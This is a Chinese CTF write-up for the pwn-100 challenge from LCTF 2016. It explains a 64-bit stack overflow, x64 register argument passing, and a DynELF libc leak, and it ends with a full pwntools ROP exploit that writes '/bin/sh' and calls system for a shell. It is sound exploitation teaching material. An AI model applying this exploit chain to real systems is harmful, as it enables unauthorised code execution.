攻防世界-pwn pwn-100(ROP)

此題是LCTF 2016年的pwn100
參考文章:https://bbs.ichunqiu.com/forum.php?mod=viewthread&tid=42933&ctid=157

0x01 文件分析

在這裏插入圖片描述

  • 64位elf
  • 無stack
  • 無PIE

0x02 運行分析

在這裏插入圖片描述
 看起來像一個無限循環,不斷接收輸入。

0x03 靜態分析

main:
在這裏插入圖片描述
sub_40068E:
在這裏插入圖片描述
sub_40063D:
在這裏插入圖片描述
 整個程序由3個嵌套的程序組成,我們可以看到sub_40063D是主要的程序,接受單個字符並存儲到傳入的參數a1所指向的空間之內,同時分析sub_40068E發現sub_40063D中a1就是sub_40068E中的v1,並且v1的棧空間大小就只有0x40,而sub_40063D接受的輸入量有0x200個字節,這樣就存在棧溢出漏洞了。
 通過查找字符串和函數,沒有發現可以用來直接ROP的函數,並且沒有libc的信息。走到這一步就遇到了難點。

在這裏插入圖片描述
 之後,通過分析函數列表,裏面有puts這個庫函數,聯繫pwntools中的DynELF,我們可以將libc的地址泄露出來,再來構造ROP。

0x04 思路分析

 沒有libc和可利用後門,但不代表程序就是不能攻破的,在這裏需要注意的是x86和x64的函數調用傳遞參數的方式是不一樣的,我就是在這個地方卡了許久。
 x86中,函數調用是直接將參數壓棧,需要用的時候直接將參數放在棧上,調用的函數就能直接取得參數並運算。如圖:
在這裏插入圖片描述
調用read函數的時候,參數直接放入棧中,但是x64的程序不一樣,x64的gcc優化了x86的傳參方式,x64程序設立了幾個寄存器李存放參數,調用函數的時候先向寄存器之中放參數,當參數的數量大於寄存器的時候,纔會向棧中放參數。
在這裏插入圖片描述
這是本題中的sub_40068E函數,可以看到其參數是放在rdi和esi兩個寄存器之中的,這就是兩種結構的不一樣,如果要在x64的程序之中構造rop,我們就必須向寄存器存放參數。
舉個例子:

fun(1,2,3,4,5,6,7,8,9);//當我們調用這個函數的時候
//x86傳參的方式是這樣:
push 9;
push 8;
···
push 1;
call fun;
//x64傳參方式:
mov r9d 6;
mov r8d 5;
mov ecx 4;
mov edx 3;
mov esi 2;
mov edi 1;
mov DWORD PTR [rsp+16], 9;
mov DWORD PTR [rsp+8], 8;
mov DWORD PTR [rsp], 7;
call fun;
//這是用gcc編譯的,其他編譯器有不同的傳參方法

傳參的順序,默認是從最後一個參數先開始傳入,x86和x64都是一樣。
x64優先使用寄存器,在x64上構造rop,就得學會利用寄存器傳遞參數。
 關於pwntools的DynELF,可以在官方文檔上查看,其主要功能是通過不斷傳入默認的函數地址到我們寫的leak函數內部,測試並獲取libc的版本,得到我們需要的函數地址,不過DynELF好像只能搜索函數地址,沒辦法搜索字符串地址,所以我們還需要傳入我們所需要的字符串,再調用函數加載bash。
 由於需要不斷傳入參數測試,又有每次加載程序之後,ibc的地址都會變化,我們就需要不斷重複當前程序,這時候最方便的方法就是重置程序,這段代碼主要是存在於程序初始化的那部分,初始化之後就相當於一個新的程序,棧空間會重新分配。本程序的初始化段:
在這裏插入圖片描述
此外,程序調用還需要一個gadget,我們的程序之中包含了這個gadget,具體的詳解可參照博客:https://xz.aliyun.com/t/5597,這位師傅講得很詳細。
在這裏插入圖片描述

0x05 exp

from pwn import *

p = process('./pwn-100')
elf = ELF('./pwn-100')

puts_addr = elf.plt['puts']
read_addr = elf.got['read']

start_addr = 0x400550
pop_rdi = 0x400763 
gadget_1 = 0x40075a
gadget_2 = 0x400740

bin_sh_addr = 0x60107c  #存儲/bin/sh的地址

def leak(addr):
    up = ''     
    content = ''
    payload = 'A'*0x48
    payload += p64(pop_rdi)  
    payload += p64(addr)
    payload += p64(puts_addr)
    payload += p64(start_addr)
    payload = payload.ljust(200, 'B')
    p.send(payload)
    p.recvuntil("bye~\n")
    while True: #防止未接受完整傳回的數據
        c = p.recv(numb=1, timeout=0.1)
        if up == '\n' and c == "":
            content = content[:-1]+'\x00'
            break
        else:
            content += c
            up = c
    content = content[:4]
    return content

d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
#調用read函數
payload = "A"*0x48
payload += p64(gadget_1)
payload += p64(0)
payload += p64(1)
payload += p64(read_addr)
payload += p64(8)
payload += p64(bin_sh_addr)
payload += p64(0)
payload += p64(gadget_2)
payload += '\x00'*56
payload += p64(start_addr)
payload = payload.ljust(200, "B")

#輸入/bin/sh
p.send(payload)
p.recvuntil('bye~\n')
p.send("/bin/sh\x00")

#調用system函數
payload = "A"*72				
payload += p64(pop_rdi)			
payload += p64(bin_sh_addr)		
payload += p64(system_addr)		
payload = payload.ljust(200, "B")	

p.send(payload)
p.interactive()
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章